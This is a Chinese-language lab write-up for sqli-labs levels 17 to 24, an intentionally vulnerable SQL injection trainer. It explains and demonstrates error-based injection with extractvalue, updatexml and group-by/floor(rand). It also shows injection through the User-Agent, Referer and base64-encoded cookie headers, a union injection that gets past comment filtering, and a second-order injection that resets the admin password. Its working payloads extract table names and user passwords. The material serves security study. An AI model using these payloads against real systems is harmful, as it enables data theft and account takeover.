sqli-labs 17-24笔记
Less 17
该关与之前的关卡有很大的区别
根据提示是密码重置
查看源码
发现这里加入了一个过滤函数并对用户输入的用户名进行过滤 ' "等符号会被过滤,代表着不能在用户名处进行sql注入
继续阅读源码,发现使用update语句对密码进行更新,这里不是查询语句,因此联合查询和两种盲注在这里都不能使用,这里使用的sql注入方法是报错注入
报错注入有以下几种,extractvalue()注入,updatexml()报错注入和group_by()报错注入
1.extractvalue()报错注入
extractvalue()函数对xml文档进行查询
语法:extractvalue(目标xml文档,xml路径)
这里xml路径是操作的重点,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式
这是xml路径的正确格式,如果输入的格式不正确,就会报错并返回内容,返回的内容可以根据需要设置为需要查询的内容
在数据库中进行测试
如图
在语法格式正确的情况下,即使查不到任何数据,也不会出现报错
在语法格式错误的情乱下,即路径格式不是/xx/xx的情况下,会出现报错,且报错内容就是我们查询的内容
知道了原理后,回到这一关
之前通过源码得知闭合方式为单引号,构造注入语句如下
1' and (extractvalue(1,concat(0x5c,version(),0x5c)))
进行测试
一开始测试将用户名置为空,仅在密码处输入了sql注入的语句,发现失败,阅读源码
发现这里如果不输入用户名或者说输入的用户名是错误的,则if中的条件测试不会通过,会执行else,也就是输出图片,所以要输入正确的用户名进行测试
如图,成功爆出数据库的版本
继续进行测试
0x5c是十六进制的反斜杠
爆表名
1' and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c)))
爆字段名
1' and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c)))#
爆字段内容
1' and (extractvalue(1,concat(0x5c,(select password from (select password from users where username='admin1') As b) ,0x5c)))#
注意这里,因为mysql不支持在同一个表中同时进行查询和更新,所以我们要命名一个名为b的中间表进行数据查询
updatexml报错注入
UPDATEXML (XML_document, XPath_string, new_value)
updatexml与extractvalue注入类似,都是利用第二个参数的路径错误使得xpath语法报错,从而得到我们需要的数据
爆版本
1' and (updatexml(1,concat(0x5c,version(),0x5c),1))
爆字段
123' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='users'),0x5c),1))#
爆字段具体内容
1' and (updatexml(1,concat(0x5c,(select password from (select password from users where username='admin1') As b),0x5c),1))#
group by报错注入
count()的作用
count()返回指定列的数量,如图,总共有十三列数据,所以返回13
group by用来对数据分组,相同的分为一组
rand()产生一个0到1之间的随机数
floor()用于向下取整
rand()*2的范围是0-2
取出一组不固定的0或1
取出一组固定的0或1
group by的分组原理
select username,count(*) from username group by username;
select username,count(*) from username group by "username";
对于第一条语句,group by在分组时,会依次取出查询表中的纪录并创建一个临时表(key()和count),group by的对象就是该临时表的主键,如果临时表中存在该主键,则count +1 ,若不存在则将主键插入到临时表中,如group by username时,取第一个值admin,这会使在临时表中的主键key中查询admin这条数据,找到就count +1,没找到就插入admin,count +1
第二条语句,group by的对象是一个不变的字符串username,第一次插入username,后续只对count数进行递增
group by报错注入原理分析
select count(*) from information_schema.tables group by concat(database(),floor(rand(0)*2));
首先 floor(rand(0)*2)产生的随机数前6位一定是 0 1 1 0 1 1
concat(database(),floor(rand(0)*2))生成database()+"0"或database()+"1"的数列,而前六位的顺序一定是
database()+"0"
database()+"1"
database()+"1"
database()+"0"
database()+"1"
database()+"1"
报错的过程
建立临时表
取第一条纪录,执行执行concat(database(),floor(rand(0)*2)),结果为database+"0" 查询后发现这个主键不存在,于是准备执行插入,这是第一步的检测过程
继续执行第二步,执行插入,这个时候又会执行依次concat(database(),floor(rand(0)*2));则插入的结果时database+"1"而不是database+"0"
取第二条纪录,执行concat(database(),floor(rand(0)*2)) 结果为database+"1",查询后发现主键存在,count+1
取第三条纪录 执行concat(database(),floor(rand(0)*2)) 结果为database+"0",查询后发现主键不存在,则准备执行插入,这个时候会再次执行执行concat(database(),floor(rand(0)*2)),结果为database+"1",但主键中已经存在database+"1",所以爆出主键重复,同时带出数据库名
总之,group by报错注入利用的是第一步的查询结果与第二步的插入结果不同
回到less 17,这题也可以用group by报错注入完成
爆数据库
1' and (select count(*) from information_schema.tables group by concat(database(),0x5c,floor(rand(0)*2)))#
爆出指定用户名的密码
1' and (select password from(select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select password from users where username='Dumb'),0x7e,floor(rand(0)*2)))As a)#
与前两个类似,这里仍然需要构造一个中间表查询密码
Less 18
查看源码,发现对username和password字段都进行了过滤
通过源码可知,当输入正确的用户名和密码时会打印user agent的相关信息,可以尝试利用这一点
将ua输入1'报错
从源码看出我们需要三个参数且要正确闭合
页面正常回显说明参数正确且闭合正确
爆版本
爆指定用户的密码
(extractvalue(1,concat(0x5c,(select password from(select password from users where username='admin')As b),0x5c))))#
Less 19
与18类似,当输入正确的用户名和密码时,会显示referer字段
尝试利用referer字段
出现sql报错,同前关相同,构造
回显正常,依旧是使用sql报错注入
Less 20
当输入的用户名和密码正确时,返回cookie内容
在bp中尝试利用
出现sql爆错,注释后消失
因为不能利用查询语句,所以继续使用报错注入,这样在cookie字段显示的地方会输出我们需要的信息
爆数据库
admin' and (extractvalue(1,concat(0x5c,database(),0x5c)))#
less 21
依旧是用户名和密码正确显示cookie,在bp中查看
发现uname被编码了
直接base64解码
将上一关的注入代码base64编码
这一关的闭合方式和上一关相比最后多个一个右括号,编码的时候要加上
Less 22
和21关类似,闭合方式为双引号没有括号
less 23
没有表单,重新回到了get请求
单引号sql报错
注释
注释符没有效果,猜测被过滤,阅读源码发现确实如此
过滤了注释符意味着不能用order by猜测字段
这里用联合查询测试字段数
说明字段数为3,最后的单引号是为了闭合id=-1处多出的单引号,id=-1为假,所以联合查询的结果可以返回
爆用户名和密码
id=-1' union select 1,(select group_concat(password,username) from users),3'
这里也可以不在最后放上单引号,可以使 ?id=-1' union select 1,(select group_concat(password,username) from users),3 or '1'='1
之前多出来的单引号会闭合最后的1,'1'='1'恒为真,我们只需要关注联合查询的结果即可
less 24
进入24关,发现有注册,登录,修改密码等功能,阅读源码
登录界面和注册界面都对输入进行了过滤,没有注入点
在密码修改处可以看到使用的用户名是未经转义的用户名,这里是一个注入点
先注册一个名为admin'#的账户
发现成功注册(从源码看到这里注册的账号中的'在网页端会被转义,但写到数据库中被还原了)
接着尝试更改admin'#的密码
进入数据库查看,我们更改了admin用户的密码
看源码分析 UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
输入payload后
UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass'
真正生效的语句为
UPDATE users set password='111111' where username='admin'
所以成功修改了admin的密码